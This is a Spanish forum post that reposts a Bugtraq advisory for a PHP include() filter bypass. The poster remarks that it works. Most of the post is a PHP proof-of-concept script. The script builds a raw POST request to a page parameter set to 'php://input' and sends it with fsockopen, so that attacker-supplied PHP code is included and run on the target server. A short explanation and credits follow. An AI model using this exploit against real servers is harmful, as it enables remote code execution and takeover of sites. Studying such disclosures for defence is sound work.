Pues acabo de probarlo y pirula.
De:
Himeur Nourredine
Para: bugtraq@securityfocus.com
Fecha: Ayer 11:07:15
Informations :
°°°°°°°°°°°°°°
Website : php.net
Version : PHP 3.0.13 =>
Problem : Inlude() bypassing filter
Proof of concept:
°°°°°°°° Exploit °°°°°°°°°
target server :
file :
exec :
if($cmd){
$message = "POST /".$file."php://input HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message .= "Accept-Language: fr\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Accept-Encoding: deflate\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen( $cmd )."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cache-Control: no-cache\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>
target server = "www.exemple.com"
file = "index.php?page="
exec = ""
Explaination
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You can bypassing filter protection who parse http:// or ftp:// ...
"php://input" allows to put data in the function include() by sending a request with code php in POST methode.
For More details :
°°°°°°°°°°°°°°
php.net/manual/en/wrappers.php.php
irc.fr.worldnet.net #s-c
Nourredine Himeur
www.security-challenge.com
This vulnerability was found by Slythers but he's too shy for publish the vuln ;)
greetz : mum , daddy , tcpteam , Nyx
